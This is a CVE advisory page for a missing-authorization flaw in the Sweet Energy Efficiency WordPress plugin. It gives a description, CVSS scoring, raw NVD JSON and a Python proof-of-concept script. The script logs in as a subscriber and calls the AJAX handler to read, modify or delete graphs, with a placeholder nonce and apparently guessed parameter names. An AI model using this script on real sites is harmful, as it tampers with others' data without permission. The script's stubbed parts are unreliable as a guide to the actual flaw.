Security Vulnerability Report
中文
CVE-2025-14618 CVSS 4.3 MEDIUM

CVE-2025-14618

Published: 2025-12-18 13:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Sweet Energy Efficiency plugin for WordPress is vulnerable to unauthorized access, modification, and loss of data due to a missing capability check on the 'sweet_energy_efficiency_action' AJAX handler in all versions up to, and including, 1.0.6. This makes it possible for authenticated attackers, with subscriber level access and above, to read, modify, and delete arbitrary graphs.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sweet Energy Efficiency插件 <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14618 PoC - WordPress Sweet Energy Efficiency Plugin Unauthorized Access # Description: Exploits missing capability check in sweet_energy_efficiency_action AJAX handler # Target: WordPress with Sweet Energy Efficiency plugin <= 1.0.6 import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_wordpress_nonce(login_cookies, target_url): """Extract nonce from WordPress admin page""" resp = requests.get(f"{target_url}/wp-admin/", cookies=login_cookies) # Extract nonce from page content or use wp_rest nonce return "extracted_nonce_here" def exploit_unauthorized_access(target_url, username, password): """Exploit CVE-2025-14618: Missing capability check""" # Step 1: Login to WordPress with subscriber account session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_resp = session.post(f"{target_url}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful with subscriber account") # Step 2: Exploit the vulnerability - Read arbitrary graphs exploit_data = { 'action': 'sweet_energy_efficiency_action', 'operation': 'read', # or 'update', 'delete' 'graph_id': '1', # Target arbitrary graph ID 'nonce': get_wordpress_nonce(session.cookies, target_url) } ajax_resp = session.post( f"{target_url}/wp-admin/admin-ajax.php", data=exploit_data, headers={'X-Requested-With': 'XMLHttpRequest'} ) print(f"[*] Response Status: {ajax_resp.status_code}") print(f"[*] Response: {ajax_resp.text[:500]}") if ajax_resp.status_code == 200: print("[!] Vulnerability confirmed - Unauthorized access possible") return True return False if __name__ == "__main__": print("="*60) print("CVE-2025-14618 PoC - Sweet Energy Efficiency Plugin") print("="*60) exploit_unauthorized_access(TARGET_URL, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14618", "sourceIdentifier": "[email protected]", "published": "2025-12-18T13:15:47.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sweet Energy Efficiency plugin for WordPress is vulnerable to unauthorized access, modification, and loss of data due to a missing capability check on the 'sweet_energy_efficiency_action' AJAX handler in all versions up to, and including, 1.0.6. This makes it possible for authenticated attackers, with subscriber level access and above, to read, modify, and delete arbitrary graphs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3417589/sweet-energy-efficiency", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3420909/sweet-energy-efficiency", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1ccc8b30-1bdf-4335-85a9-79c6f9a88afc?source=cve", "source": "[email protected]"}]}}